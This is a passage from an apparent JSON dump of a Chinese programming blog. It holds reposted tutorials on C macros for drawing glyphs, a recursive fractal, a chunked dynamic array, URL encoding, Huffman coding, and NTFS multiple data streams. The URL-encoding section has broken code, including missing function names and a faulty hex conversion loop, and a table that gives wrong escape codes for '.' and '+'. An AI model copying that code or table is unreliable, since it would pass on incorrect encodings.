0, AfxSig_end, (AFX_PMSG)0 } }; 嘿嘿，就这么几个宏，就构造出一个消息数组来。\n例四、用C宏，智者思维的火花 说了半天了，嘴皮子都干了，举个例子大家轻松一下\u0026mdash;\u0026mdash;看看人家老外是怎么用宏的。 这个例子摘自《C专家编程》。 根据位模式构建图形 图标（icon）或者图形(glyph)，是一种小型的位模式映射于屏幕产生的图像。一个位代表图像上的一个像素。如果一个位被设置，那么它所代表的像素 就是\u0026ldquo;亮\u0026rdquo;的。如果一个位被清除，那么它所代表的像素就是\u0026ldquo;暗\u0026rdquo;的。所以，一系列的整数值能够用于为图像编码。类似Iconedit这样的工具就是用于绘 图的，他们所输出的是一个包含一系列整型数的ASCII文件，可以被一个窗口程序所包含。它所存在的问题是程序中的图标只是一串十六进制数。在C语言中， 典型的16X16的黑白图形可能如下：\nstatic unsigned short stopwatch[] = {\n0x07C6,\n0x1FF7,\n0x383B,\n0x600C,\n0x600C,\n0xC006,\n0xC006,\n0xDF06,\n0xC106,\n0xC106,\n0x610C,\n0x610C,\n0x3838,\n0x1FF0,\n0x07C0,\n0x0000\n};\n正如所看到的那样，这些C语言常量并未有提供有关图形实际模样的任何线索。这里有一个惊人的#define定义的优雅集合，允许程序建立常量使它们看上去像是屏幕上的图形。\n#define X )*2+1\n#define _ )*2\n#define s ((((((((((((((((0 /* For building glyphs 16 bits wide */\n定义了它们之后，只要画所需要的图标或者图形等，程序会自动创建它们的十六进制模式。使用这些宏定义，程序的自描述能力大大加强，上面这个例子可以转变为：\nstatic unsigned short stopwatch[] =\n{\ns _ _ _ _ _ X X X X X _ _ _ X X _ ,\ns _ _ _ X X X X X X X X X _ X X X ,\ns _ _ X X X _ _ _ _ _ X X X _ X X ,\ns _ X X _ _ _ _ _ _ _ _ _ X X _ _ ,\ns _ X X _ _ _ _ _ _ _ _ _ X X _ _ ,\ns X X _ _ _ _ _ _ _ _ _ _ _ X X _ ,\ns X X _ _ _ _ _ _ _ _ _ _ _ X X _ ,\ns X X _ X X X X X _ _ _ _ _ X X _ ,\ns X X _ _ _ _ _ X _ _ _ _ _ X X _ ,\ns X X _ _ _ _ _ X _ _ _ _ _ X X _ ,\ns _ X X _ _ _ _ X _ _ _ _ X X _ _ ,\ns _ X X _ _ _ _ X _ _ _ _ X X _ _ ,\ns _ _ X X X _ _ _ _ _ X X X _ _ _ ,\ns _ _ _ X X X X X X X X X _ _ _ _ ,\ns _ _ _ _ _ X X X X X _ _ _ _ _ _ ,\ns _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\n};\n显然，与前面的代码相比，它的意思更为明显。标准的C语言具有八进制、十进制和十六进制常量，但没有二进制常量，否则的话倒是一种更为简单的绘制图形模式的方法。\n如果抓住书的右上角，并斜这看这一页，可能会猜测这是一个用于流行窗口系统的\u0026ldquo;cursor busy\u0026rdquo;小秒表图形。我是在几年前从Usenet comp.lang.c新闻组学到这个技巧的。\n千万不要忘了在绘图结束后清除这些宏定义，否这很可能会给你后面的代码带来不可预测的后果。\n好了，今天的废话就到这里了。水能载舟，亦能覆舟，把握好手中的双刃剑，让它好好的为你服务吧，别割破了手。:)\n","permalink":"https://hessian.cn/p/438.html","summary":"水平不高不低的C++程序员最喜欢挂在嘴上的一句话就是：C宏，万恶之首，错误的开端，应该被废弃。\n请注意，我用了一句不敬的修饰语\u0026ldquo;水平不高不低的\u0026rdquo;。为什么这么说？因为水平低都插不上话，都在在静静地听老前辈布道呢。水平高的，比如Bane Stroustrup老人家，也只是说若干种场合下C++语言能够提供比C macro更好的解决方案，而没有完全否定C macro的价值。但是话就怕传来传去，一传就走样。久而久之，就被传成上面那句话。其实说来也很好笑：java程序员经常说java比C++好，说C+ +手动释放内存老搞内存泄漏；C++程序员便反驳说，那是你水平低不会用。但是谈到C宏，水平不高不低的C++程序员居然也走java的老路了\u0026mdash;\u0026mdash;明明是 自己不会用，自己知道的少，却把责任推卸到C宏上。你自己笨我管不着，但是错误的言论如果误导后人就不好了吧。:)\n本文就举几个简单的使用C宏的例子，如果这些例子用C++不用宏的语法能更好的解决，那么你一定要回复blog告诉我，这样下次我就不乱说话了。否则，笑笑很生气，后果很严重。:)\n","title":"【转】谁说 C宏 是 智者的利刃，愚者的恶梦!"},{"content":"作者：吉林大学　胡卓玮\n下载本文源代码\n图一 例子代码运行结果 \u0026nbsp;\u0026nbsp;\u0026nbsp; 大家在C/C++学习时都会遇到递归，课本上以汗诺塔为例进行讲解，然后大家都希望自己找到一个递归的实例。本文以一个最简单的分形图形来讲解递归的实现过程。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 先来看看绘制这个分形图形的思路。如图二所示，给定两点（p1和p2）确定一条直线，计算这条直线的长度，如果长度小于预先设定的极限值则将这两个点用直 线相连，否则，取其1/3处点（点1）、2/3处点（点2），以及中点上方一个点（点3），这个点与第1点、第2点构成的直线与直线p1p2的夹角为60 度。判断这五个点按照顺序形成的四条直线的长度是否小于预先设定的极限值，如果小于，则在将相应的两个点相连在屏幕上显示一条直线，否则继续对相应两点形 成的直线进行以上判断。\n图二 分形图形实现示意图\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这是一个典型的递归问题。我们可以看看如果不使用递归该怎样得到我们需要的结果。首先需要设立一些变量来存储点的坐标，由于不使用递归，我们需要在整个过 程的最后，把计算所得并保存起来的点的坐标传递给画线的函数，在不满足递归过程结束的条件下（即直线的长度大于极限值），将需要增加三个点，这时是四条直 线，如果下一次仍然达不到结束条件，将会得到的点数为2 + 3 + 4 * 3，直线数为4^2。这样，对于第n次不满足结束条件后获得的点数为：2 + 3 + 3 * 4 + 3 * 4 ^ 2 + \u0026hellip;\u0026hellip; + 3 * 4 ^ (n \u0026#8211; 1)，直线数为4 ^ n条。随着n的增大，这不是一个小数目。但如果使用递归实现，情况会大不一样，不需要定义过多的变量，不需要考虑复杂的点的顺序关系。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 来看看我们的程序当中是如何利用递归实现这个简单的分形图形的。整个实现过程封装到类KSQXClass中，为了方便点坐标的存取，定义了 KSQXPoint类，参看文件KSQXClass.h和KSQXClass.cpp，大家可以看到类的具体定义和实现。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 整个递归过程用函数Draw来实现。参数含义如下：\nCDC* pdc; //设备描述表，绘制分形图形的设备\nKSQXPoint p1, KSQXPoint p2;　//直线的起点和终点，KSQXPoint以点的x,y坐标作为成员变量\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 一开始需要计算直线的长度并判断其长度是否小于极限值： ds = (float)sqrt(dx * dx + dy * dy);\nif(ds \u0026lt;= m_limit)\n{\npdc-\u0026gt;MoveTo((int)p1.m_x, (int)p1.m_y);\npdc-\u0026gt;LineTo((int)p2.m_x, (int)p2.m_y);\nreturn;\n} 其中的极限值m_limit通过成员函数SetLimit设定。 如果ds大于极限值，进行以下工作。\n计算点１、点２和点３的坐标。关于点的坐标的计算，这里不进行过多的讲解，读者对照程序代码去理解吧。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 这三个点的坐标得到以后，就可以组成四条直线：p1和1,1和3,3和2,2和p2，分别以这四条直线的起点、终点坐标为参数代入函数Draw中，进行递归调用。\nDraw(pdc, p1, tempp1);\nDraw(pdc, tempp1, tempp3);\nDraw(pdc, tempp3, tempp2);\nDraw(pdc, tempp2, p2); 一切准备好以后，就可以到程序的主体里去获取我们想要得到的结果了。\nKSQXClass myksqx;\nKSQXPoint p1, p2;\np1.m_x = 100;\np1.m_y = 300;\np2.m_x = 400;\np2.m_y = 300;\nmyksqx.SetLimit(1);\nCDC* pdc; pdc = GetDC();\nmyksqx.Draw(pdc, p1, p2); 程序运行结果如本文图一所示。\n关于代码和文章中的问题大家可以和作者联系：\n通信地址：吉林省长春市西民主大街６号地球探测科学与技术学院２００１级硕士研究生　胡卓玮\n电子信箱：QiGi@vip.sina.com\n欢迎访问作者的主页：forevergis.6to23.com\n","permalink":"https://hessian.cn/p/376.html","summary":"作者：吉林大学　胡卓玮\n下载本文源代码\n图一 例子代码运行结果 \u0026nbsp;\u0026nbsp;\u0026nbsp; 大家在C/C++学习时都会遇到递归，课本上以汗诺塔为例进行讲解，然后大家都希望自己找到一个递归的实例。本文以一个最简单的分形图形来讲解递归的实现过程。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 先来看看绘制这个分形图形的思路。如图二所示，给定两点（p1和p2）确定一条直线，计算这条直线的长度，如果长度小于预先设定的极限值则将这两个点用直 线相连，否则，取其1/3处点（点1）、2/3处点（点2），以及中点上方一个点（点3），这个点与第1点、第2点构成的直线与直线p1p2的夹角为60 度。判断这五个点按照顺序形成的四条直线的长度是否小于预先设定的极限值，如果小于，则在将相应的两个点相连在屏幕上显示一条直线，否则继续对相应两点形 成的直线进行以上判断。\n","title":"递归的应用 — 最简单分形图形实现"},{"content":"作者：黄建雄\n下载源代码\n简介\n大量数据的管理是很多程序员的心病，很难找到一个速度快、效率高、支持超大规模数据的表，在1.0版本的基础上，启程花血本写下了这个强化了数据插入 与删除的修正版，启程动态数组是一个功能强大的列表形数据管理链表，利用它可以轻松实现超大数据量的随机插入、删除、修改等操作，它另外一个特点就是速度 极快，内存利用率高。\n大量数据的管理必然需要占用大量的内存空间，如果这些数据占用的空间大小是随各种条件变化的，我们就不能使用数组来管理这些数据了（道理就不多说 了），这时我们需要一个动态数组。MFC提供了一个很好的动态数组类CArray，对于少量数据，使用CArray就足够好用了，但是对于大量数据 （10W级）它就力不从心了，因为它的本质就是一个数组，只不过对常用的插入、删除等操作进行了一个复杂的包装。为了解决这个问题，启程动态数组开创性地 将链表与数组巧妙的结合起来，既有数组的高速随机索引的优点，又有链表的数据量灵活多变的特点。\n工作原理\n启程动态数组的数据结构如图（这是1.0版本的示意图，2.0版在结点中增加了一个指示当前数据段中已经使用的空间变量）。为了解决大量数据的动态存 储问题，启程动态数组将数据分段存放在链表的节点中，每一段可以保存一定数量的数据，如果数据量增加，则在内存中分配一个新数据段，如果数据减少则释放空 闲的数据段，从而有效地解决了该问题。相对于1.0版，2.0版中引入了每个结点中已使用空间用和总空闲空间两个变量，经过这个处理，在进行数据的插入删 除时就不再需要对整个数组中的数据进行移动而只需要对目标数据段做一个简单的处理。\n插入数据\n如果目标数据段有空闲位置，那么只需要将该段进行曲整理并插入数据；如果目标段没有空闲空间，启程动态数据自动在内存中申请一段新的数据，并将该数据段链接到链表中。\n删除数据\n找到目标段后，从目标数据段中删除目标数据，如果目标段中只包含目标数据，启程动态数组自动删除目标段，并维护好链表的完整性。\n添加数据\n检查最后一个数据段，如果有空间就不再分配，没有就申请订报的数据段。\n随机索引（数据定位）\n相比较普通链表在随机索引方面的不足，启程动态数组在这方面可以说是趋于完美。由于启程动态数组在数据结构上的优势，它在数据定位的时候是段式跳跃的 搜索，因此它的速度得到了有力的保障。另一方面，为了加速索引速度它还经过了特别的优化，就是设置了一个当前位置的指针，这样不仅在普通的索引中可以成倍 的提高速度，特别是在遍历类的操作时甚至可以达到数组的速度。\n数据压缩\n如果细心的人一定会发现，按照上面的模式中可能存在很严重的空间滥废，事实上如果不作处理也是如此，因为在的插入数据时，我只需要插入一个数据，结果 却申请了一个完整的数据段，这在空间有限的计算机中将会造成很大的问题。还记得上面提到的新引入的用来记录空闲空间数量的变量吗？好了，有了它，我们就可 以把握有多少空间没有利用到，当这个值达到一个的范围时，启程动态数组自动对它占用的空间进行整理，经过整理后不再需要的空间自动回收。当然您可也可强制 整理，只需要调用一个简单的接口就好了。\n参数设置\n启动动态数组的性能很大程度上依赖于参数的设置，关键的参数有勇有2个，一是数据段的大小，一是空闲空间压缩阀，这两个参数应该也是比较好理解的。数 据段的大小主要应该根据目标数据的容量及计算机的内存来设置，压缩阀则要考虑你的机器的内存以及插入、删除操作的频率。对于10万级的数据量，数据段设成 100就差不多了，如果需要大量进行插入、删除压缩阀可适应加大，否则反之。\n执行性能\n代码的性能估计是大家最为关心的问题，同时也是它存在的根本。由于没有其实的代码做参考，这里只能与MFC的CArray进行比较。在10万级综合操 作测试中，启程动态数组耗时300MS左右，而CArray则需要3000MS，而且因为启程动态数组的耗时与数据量基本是线性关系，而CArray则基 本是指数关系，因此数据量越大启程动态数组的性能优势越明显。\n测试程序\n在开发这个程序时写了一个相应的测试工具，界面如下图：\n\u0026ldquo;efficiency compare\u0026rdquo;部分是进行性能比较的，其它的都是进行程序正确性测试用的。做完测试后可以用刷新来显示内存中的数据。\n版本历史\n2.0：2004-6-3 增强插入删除 1.0：2003- 09-25 担保\n本代码可以任意使用、修改、传播，但作者不对使用该链表造成的后果承担任何直接或间接责任。\n写在最后\n这是我以为写得最好的一段代码，拿出来共享只希望能够给大家带来一点点方便。如果大家觉得它有价值将是我最大的快乐！如果发现程序的bug请一定告诉我！希望大空用的开心。\n联系方式\ne-mail：　huangjianxiong@sina.com.cn 个人网站：http://setoutsoft.3322.net ","permalink":"https://hessian.cn/p/522.html","summary":"作者：黄建雄\n下载源代码\n简介\n大量数据的管理是很多程序员的心病，很难找到一个速度快、效率高、支持超大规模数据的表，在1.0版本的基础上，启程花血本写下了这个强化了数据插入 与删除的修正版，启程动态数组是一个功能强大的列表形数据管理链表，利用它可以轻松实现超大数据量的随机插入、删除、修改等操作，它另外一个特点就是速度 极快，内存利用率高。\n大量数据的管理必然需要占用大量的内存空间，如果这些数据占用的空间大小是随各种条件变化的，我们就不能使用数组来管理这些数据了（道理就不多说 了），这时我们需要一个动态数组。MFC提供了一个很好的动态数组类CArray，对于少量数据，使用CArray就足够好用了，但是对于大量数据 （10W级）它就力不从心了，因为它的本质就是一个数组，只不过对常用的插入、删除等操作进行了一个复杂的包装。为了解决这个问题，启程动态数组开创性地 将链表与数组巧妙的结合起来，既有数组的高速随机索引的优点，又有链表的数据量灵活多变的特点。\n","title":"启程动态数组V2.0"},{"content":"作者： Chandrasekhar Vuppalapati 翻译：eastvc\n下载源代码\n本文的目的是设计一个完成URL编码的C++类。在我曾经的项目中，我需要从VC++ 6.0应用程序中POST数据，而这些数据需要进行URL编码。我在MSDN中查找能根据提供的字符串生成URL编码的相关类或API，但我没有找到，因 此我必须设计一个自己的URLEncode C++类。\nURLEncoder.exe是一个使用URLEncode类的MFC对话框程序。\n如何处理\n一些特殊字符在Internet上传送是件棘手的事情, 经URL编码特殊处理，可以使所有字符安全地从Internet传送。\n例如，回车的ASCII值是13，在发送FORM数据时候这就认为是一行数据的结束。\n通常，所有应用程序采用HTTP或HTTPS协议在客户端和服务器端传送数据。服务器端从客户端接收数据有两种基本方法：\n1、数据可以从HTTP头传送（COOKIES或作为FORM数据发送）\n2、可以包含在URL中的查询部分\n当数据包含在URL，它必须遵循URL语法进行编码。在WEB服务器端，数据自动解码。考虑一下下面的URL，哪个数据是作为查询参数。\n例如：http://WebSite/ResourceName?Data=Data\nWebSite是URL名称\nResourceName可以是ASP或Servlet名称\nData是需要发送的数据。如果MIME类型是Content-Type: application/x-www-form-urlencoded，则要求进行编码。\nRFC 1738\nRFC 1738指明了统一资源定位(URLs)中的字符应该是US-ASCII字符集的子集。这是受HTML的限制，另一方面，允许在文档中使用所有ISO- 8859-1(ISO-Latin)字符集。这将意味着在HTML FORM里POST的数据（或作为查询字串的一部分），所有HTML编码必须被编码。\nISO-8859-1 (ISO-Latin)字符集\n在下表中，包含了完整的ISO-8859-1 (ISO-Latin)字符集，表格提供了每个字符范围（10进制），描述，实际值，十六进制值，HTML结果。某个范围中的字符是否安全。\nCharacter range(decimal) Type Values Safe/Unsafe 0-31 ASCII Control Characters These characters are not printable Unsafe 32-47 Reserved Characters \u0026#8221; \u0026#8221;!?#$%\u0026amp;\u0026#8221;()*+,-./ Unsafe 48-57 ASCII Characters and Numbers 0-9 Safe 58-64 Reserved Characters :;\u0026lt;=\u0026gt;?@ Unsafe 65-90 ASCII Characters A-Z Safe 91-96 Reserved Characters []^_` Unsafe 97-122 ASCII Characters a-z Safe 123-126 Reserved Characters {|}~ Unsafe 127 Control Characters \u0026#8221; \u0026#8221; Unsafe 128-255 Non-ASCII Characters \u0026#8221; \u0026#8221; Unsafe 所有不安全的ASCII字符都需要编码，例如，范围(32-47, 58-64, 91-96, 123-126)。\n下表描述了这些字符为什么不安全。\nCharacter Unsafe Reason Character Encode \u0026quot;\u0026lt;\u0026quot; Delimiters around URLs in free text %3C \u0026gt; Delimiters around URLs in free text %3E . Delimits URLs in some systems %22 # It is used in the World Wide Web and in other systems to delimit a URL from a fragment/anchor identifier that might follow it. %23 { Gateways and other transport agents are known to sometimes modify such characters %7B } Gateways and other transport agents are known to sometimes modify such characters %7D | Gateways and other transport agents are known to sometimes modify such characters %7C Gateways and other transport agents are known to sometimes modify such characters %5C ^ Gateways and other transport agents are known to sometimes modify such characters %5E ~ Gateways and other transport agents are known to sometimes modify such characters %7E [ Gateways and other transport agents are known to sometimes modify such characters %5B ] Gateways and other transport agents are known to sometimes modify such characters %5D ` Gateways and other transport agents are known to sometimes modify such characters %60 + Indicates a space (spaces cannot be used in a URL) %20 / Separates directories and subdirectories %2F ? Separates the actual URL and the parameters %3F \u0026amp; Separator between parameters specified in the URL %26 如何实现\n字符的URL编码是将字符转换到8位16进制并在前面加上\u0026#8221;%\u0026#8221;前缀。例如，US-ASCII字符集中空格是10进制\n的32或16进制的20，因此，URL编码是%20。\nURLEncode: URLEncode是一个C++类，来实现字符串的URL编码。CURLEncode类包含如下函数：\nisUnsafeString decToHex convert URLEncode URLEncode()函数完成编码过程，URLEncode检查每个字符，看是否安全。如果不安全将用%16进制值进行转换并添加\n到原始字符串中。\n代码片断:\nclass CURLEncode\n{\nprivate:\nstatic CString csUnsafeString;\nCString (char num, int radix);\nbool isUnsafe(char compareChar);\nCString convert(char val);\npublic:\nCURLEncode() { };\nvirtual ~CURLEncode() { };\nCString (CString vData);\n};\nbool CURLEncode::isUnsafe(char compareChar)\n{\nbool bcharfound = false;\nchar tmpsafeChar;\nint m_strLen = 0;\nm_strLen = csUnsafeString.GetLength();\nfor(int ichar_pos = 0; ichar_pos \u0026lt; m_strLen ;ichar_pos++)\n{\ntmpsafeChar = csUnsafeString.GetAt(ichar_pos);\nif(tmpsafeChar == compareChar)\n{\nbcharfound = true;\nbreak;\n}\n}\nint char_ascii_value = 0;\n//char_ascii_value = __toascii(compareChar);\nchar_ascii_value = (int) compareChar;\nif(bcharfound == false \u0026amp;\u0026amp; char_ascii_value \u0026gt; 32 \u0026amp;\u0026amp;\nchar_ascii_value \u0026lt; 123)\n{\nreturn false;\n}\n// found no unsafe chars, return false\nelse\n{\nreturn true;\n}\nreturn true;\n}\nCString CURLEncode::decToHex(char num, int radix)\n{\nint temp=0;\nCString csTmp;\nint num_char;\nnum_char = (int) num;\nif (num_char \u0026lt; 0)\nnum_char = 256 + num_char;\nwhile (num_char \u0026gt;= radix)\n{\ntemp = num_char % radix;\nnum_char = (int)floor(num_char / radix);\ncsTmp = hexVals[temp];\n}\ncsTmp += hexVals[num_char];\nif(csTmp.GetLength() \u0026lt; 2)\n{\ncsTmp += ''0'';\n}\nCString strdecToHex(csTmp);\n// Reverse the String\nstrdecToHex.MakeReverse();\nreturn strdecToHex;\n}\nCString CURLEncode::convert(char val)\n{\nCString csRet;\ncsRet += \u0026quot;%\u0026quot;;\ncsRet += decToHex(val, 16);\nreturn csRet;\n}\n参考：\nURL编码: http://www.blooberry.com/indexdot/html/topics/urlencoding.htm.\nRFC 1866: The HTML 2.0 规范 (纯文本). 附录包含了字符表: http://www.rfc-editor.org/rfc/rfc1866.txt.\nWeb HTML 2.0 版本(RFC 1866) : http://www.w3.org/MarkUp/html-spec/html-spec_13.html.\nThe HTML 3.2 (Wilbur) 建议: http://www.w3.org/MarkUp/Wilbur/.\nThe HTML 4.0 建议: http://www.w3.org/TR/REC-html40/.\nW3C HTML 国际化区域: http://www.w3.org/International/O-HTML.html.\n","permalink":"https://hessian.cn/p/467.html","summary":"作者： Chandrasekhar Vuppalapati 翻译：eastvc\n下载源代码\n本文的目的是设计一个完成URL编码的C++类。在我曾经的项目中，我需要从VC++ 6.0应用程序中POST数据，而这些数据需要进行URL编码。我在MSDN中查找能根据提供的字符串生成URL编码的相关类或API，但我没有找到，因 此我必须设计一个自己的URLEncode C++类。\n","title":"URL编码"},{"content":"作者：Hatem Mostafa 译者：happyparrot\n下载源代码\n介绍\n本文描述在网上能够找到的最简单，最快速的哈夫曼编码。本方法不使用任何扩展动态库，比如STL或者组件。只使用简单的C函数，比如：memset，memmove，qsort，malloc，realloc和memcpy。\n因此，大家都会发现，理解甚至修改这个编码都是很容易的。\n背景\n哈夫曼压缩是个无损的压缩算法，一般用来压缩文本和程序文件。哈夫曼压缩属于可变代码长度算法一族。意思是个体符号（例如，文本文件中的字符）用一个特定长度的位序列替代。因此，在文件中出现频率高的符号，使用短的位序列，而那些很少出现的符号，则用较长的位序列。\n编码使用\n我用简单的C函数写这个编码是为了让它在任何地方使用都会比较方便。你可以将他们放到类中，或者直接使用这个函数。并且我使用了简单的格式，仅仅输入输出缓冲区，而不象其它文章中那样，输入输出文件。\nbool CompressHuffman(BYTE *pSrc, int nSrcLen, BYTE *\u0026amp;pDes, int \u0026amp;nDesLen);\nbool DecompressHuffman(BYTE *pSrc, int nSrcLen, BYTE *\u0026amp;pDes, int \u0026amp;nDesLen);\n要点说明 速度\n为了让它(huffman.cpp)快速运行，我花了很长时间。同时，我没有使用任何动态库，比如STL或者MFC。它压缩1M数据少于100ms（P3处理器，主频1G）。\n压缩\n压缩代码非常简单，首先用ASCII值初始化511个哈夫曼节点： CHuffmanNode nodes[511];\nfor(int nCount = 0; nCount \u0026lt; 256; nCount++)\nnodes[nCount].byAscii = nCount;\n然后，计算在输入缓冲区数据中，每个ASCII码出现的频率：\nfor(nCount = 0; nCount \u0026lt; nSrcLen; nCount++)\nnodes[pSrc[nCount]].nFrequency++;\n然后，根据频率进行排序：\nqsort(nodes, 256, sizeof(CHuffmanNode), frequencyCompare); 现在，构造哈夫曼树，获取每个ASCII码对应的位序列：\nint nNodeCount = GetHuffmanTree(nodes); 构造哈夫曼树非常简单，将所有的节点放到一个队列中，用一个节点替换两个频率最低的节点，新节点的频率就是这两个节点的频率之和。这样，新节点就是两个被替换节点的父节点了。如此循环，直到队列中只剩一个节点（树根）。\n// parent node\npNode = \u0026amp;nodes[nParentNode++];\n// pop first child\npNode-\u0026gt;pLeft = PopNode(pNodes, nBackNode--, false);\n// pop second child\npNode-\u0026gt;pRight = PopNode(pNodes, nBackNode--, true);\n// adjust parent of the two poped nodes\npNode-\u0026gt;pLeft-\u0026gt;pParent = pNode-\u0026gt;pRight-\u0026gt;pParent = pNode;\n// adjust parent frequency\npNode-\u0026gt;nFrequency = pNode-\u0026gt;pLeft-\u0026gt;nFrequency + pNode-\u0026gt;pRight-\u0026gt;nFrequency;\n这里我用了一个好的诀窍来避免使用任何队列组件。我先前就直到ASCII码只有256个，但我分配了511个(CHuffmanNode nodes[511])，前255个记录ASCII码，而用后255个记录哈夫曼树中的父节点。并且在构造树的时候只使用一个指针数组 (ChuffmanNode *pNodes[256])来指向这些节点。同样使用两个变量来操作队列索引(int nParentNode = nNodeCount;nBackNode = nNodeCount \u0026ndash;1)。 接着，压缩的最后一步是将每个ASCII编码写入输出缓冲区中：\nint nDesIndex = 0;\n// loop to write codes\nfor(nCount = 0; nCount \u0026lt; nSrcLen; nCount++)\n{\n*(DWORD*)(pDesPtr+(nDesIndex\u0026gt;\u0026gt;3)) |= nodes[pSrc[nCount]].dwCode \u0026lt;\u0026lt; (nDesIndex\u0026amp;7);\nnDesIndex += nodes[pSrc[nCount]].nCodeLength;\n}\n(nDesIndex\u0026gt;\u0026gt;3): \u0026gt;\u0026gt;3 以8位为界限右移后到达右边字节的前面 (nDesIndex\u0026amp;7): \u0026amp;7 得到最高位. 注意：在压缩缓冲区中，我们必须保存哈夫曼树的节点以及位序列，这样我们才能在解压缩时重新构造哈夫曼树（只需保存ASCII值和对应的位序列）。 解压缩\n解压缩比构造哈夫曼树要简单的多，将输入缓冲区中的每个编码用对应的ASCII码逐个替换就可以了。只要记住，这里的输入缓冲区是一个包含每个ASCII 值的编码的位流。因此，为了用ASCII值替换编码，我们必须用位流搜索哈夫曼树，直到发现一个叶节点，然后将它的ASCII值添加到输出缓冲区中： int nDesIndex = 0;\nDWORD nCode;\nwhile(nDesIndex \u0026lt; nDesLen)\n{\nnCode = (*(DWORD*)(pSrc+(nSrcIndex\u0026gt;\u0026gt;3)))\u0026gt;\u0026gt;(nSrcIndex\u0026amp;7);\npNode = pRoot;\nwhile(pNode-\u0026gt;pLeft)\n{\npNode = (nCode\u0026amp;1) ? pNode-\u0026gt;pRight : pNode-\u0026gt;pLeft;\nnCode \u0026gt;\u0026gt;= 1;\nnSrcIndex++;\n}\npDes[nDesIndex++] = pNode-\u0026gt;byAscii;\n}\n(nDesIndex\u0026gt;\u0026gt;3): \u0026gt;\u0026gt;3 以8位为界限右移后到达右边字节的前面 (nDesIndex\u0026amp;7): \u0026amp;7 得到最高位. 源文件： Huffman.cpp Huffman.h 请见本文提供的源代码压缩包。\n","permalink":"https://hessian.cn/p/304.html","summary":"作者：Hatem Mostafa 译者：happyparrot\n下载源代码\n介绍\n本文描述在网上能够找到的最简单，最快速的哈夫曼编码。本方法不使用任何扩展动态库，比如STL或者组件。只使用简单的C函数，比如：memset，memmove，qsort，malloc，realloc和memcpy。\n","title":"简单快速的哈夫曼编码"},{"content":"简介 自 1994 年以来，有关 Microsoft(R) Windows NT(R) 的完全面向对象版的神话已流传一段时日了。Cairo — 传说中的 OS 版本的代码名 — 从未在 Redmond 的实验室以外得以实现。自有 Cairo 起，它的一些基本思想就不时地被公之于众。\nCairo 背后的基本思想是：文件和文件夹应成为对象和对象的集合。文件夹的内容不必局限于基础文件系统存储机制，您可将那些对象作为独立的、单独的项目，访问并复 制它们。文件和文件夹对象将用方法和属性的术语展示可编程的 API，这些术语既可以是标准的，也可以是由拥有者或作者定义的。\n而我们今天所拥有的，是一个在某些内部结构中注册文件和文件夹的文件系统，当文件和文件夹在磁盘中移动时，它会被复制。文件和文件夹具有一套固定的 功能，而这些功能太少了，不能满足现代应用程序的需求。作为工作区的一部分，在过去的几年中，我们提供了几项技术用于向文件和文件夹添加附加信息。 Shell 和 namespace 扩展名、desktop.ini 文件、FileSystemObject 和“Shell 自动对象模型”就是几个例子。不过，所有这些功能仅仅是少量的和局部的解决方案。它们完全不能成为对 Windows 的文件系统进行有机的重新设计的基点。因为向前兼容性是一个严肃的问题，所以 Windows 仍然采用建立在文件分配表 (FAT) 上的旧式文件系统，它的诞生日期可追溯到 Microsoft MS-DOS(R) 2.0 版！即使最近做了更多的改进，如支持高容量的硬盘，FAT 对于存储文件和文件夹信息来说，仍然是一种不太合适的方法。\n几年来的实践经验表明，我们遇到的最重要的限制是必须处理程序员正确管理并识别文件所需的附加信息。最近，有人请我检索 Word 97 文档的实际创 建日期。您可能认为这是一项简单的工作，因为创建日期是一个可以通过某些 API 功能轻易检索到的属性。这只是部分正确的。试着在不同的机器上、甚至相同的文件夹中复制相同的 Word 文件，然后比较两个副本的创建日期。奇怪的是，它们并不相同！当复制文件时，您创建了一个带有表明何时进行创建的时间标记的全新文件。当继续处理副本时， 您丢失了关于何时初创文件的潜在有价值的信息。\n幸好，Word 文档在内部的 SummaryInformation 字段保留此信息。因此，在我的情况中，我得以解决了该问题并成功地通告了客户。如果是 Access 或文本文件，那么我的努力就白费了。\n对于 Windows NT，Microsoft 引入了称为 NTFS 的新式文件系统。在它所有引人注目的功能中，B 树结构尤为显著，它加速了大文件夹上的文件检索、基于文件的安全、记录、增强的文件系统可恢复性以及比 FAT 或 FAT32 更好地利用磁盘空间。（顺便说明，Windows 2000 提供对 FAT32 卷的完全支持和访问。）\n自从它们被 Windows 3.1 采用以后，NTFS 卷还具有另一个通常被忽视的功能：它们支持多个数据流流入单个文件。对于 Windows 2000，流支持再次被加强了，并增加了其他一些顺手的功能，以帮助您无缝地处理文件。让我们来见识一下 NTFS 2000 — 与 Windows 2000 同步的 NTFS 版 — 的主要功能吧。\nNTFS 2000 概述 如果多个数据流不是 NTFS 2000 卷文件的独占功能，那么还有其他几种功能要求使用 Windows 2000。它们是：\n文件和目录加密 每个用户、每卷的磁盘配额 重新分析点和分级存储管理 装入点 硬链接 更改记录 在 Windows 2000 安装过程中，要求您指定是否想将 Windows 2000 卷转换为 NTFS 2000。不过，只在机器作为域控制器时，才要求使用 NTFS 2000 文件系统。您可以在任何时候，通过使用命令行实用程序 convert.exe，将 FAT 分区转换为 NTFS：\nCONVERT volume /FS:NTFS [/V] 其中 volume 参数指定驱动器号，后面跟着一个冒号。它也可以是一个装入点或一个卷名。/FS:NTFS 选项指明该卷必须被转换为 NTFS。最后，如果您希望以详细模式运行实用程序，则使用 /V。当您运行 convert.exe 时，它进行初始化，然后请求您重新启动。重新启动之后，转换立即生效。\n除了上述列出的所有功能外，Windows 2000 整个文件夹管理的显著方面，是它提供给 desktop.ini 文件的全面而稍微扩展的支持。在本文的其余部分中，我将主要侧重于流和硬链接。然而表 1 概述了涉及 NTFS 2000 其他关键功能的要点。\n表 1. NTFS 2000 的主要功能\n\u0026nbsp;\n多文件流 在 NTFS 文件系统下，每个文件可拥有多个数据流。值得指出的是，流并不是 NTFS 2000 的特性，而是从 Windows NT 3.1 起就已存在了。当您读取位于非 NTFS 卷中的文件内容时（如：Windows 98 机器上的磁盘分区），您只能访问一个数据流。从而，您认为它是该文件的真正而“唯一”的内容。此类主流没有名称，而且是非 NTFS 文件系统能够处理的唯一的流。但当您在 NTFS 卷上创建文件时，情形就不同了。请参见图 1 来理解一下大的图形吧。\n图 1. 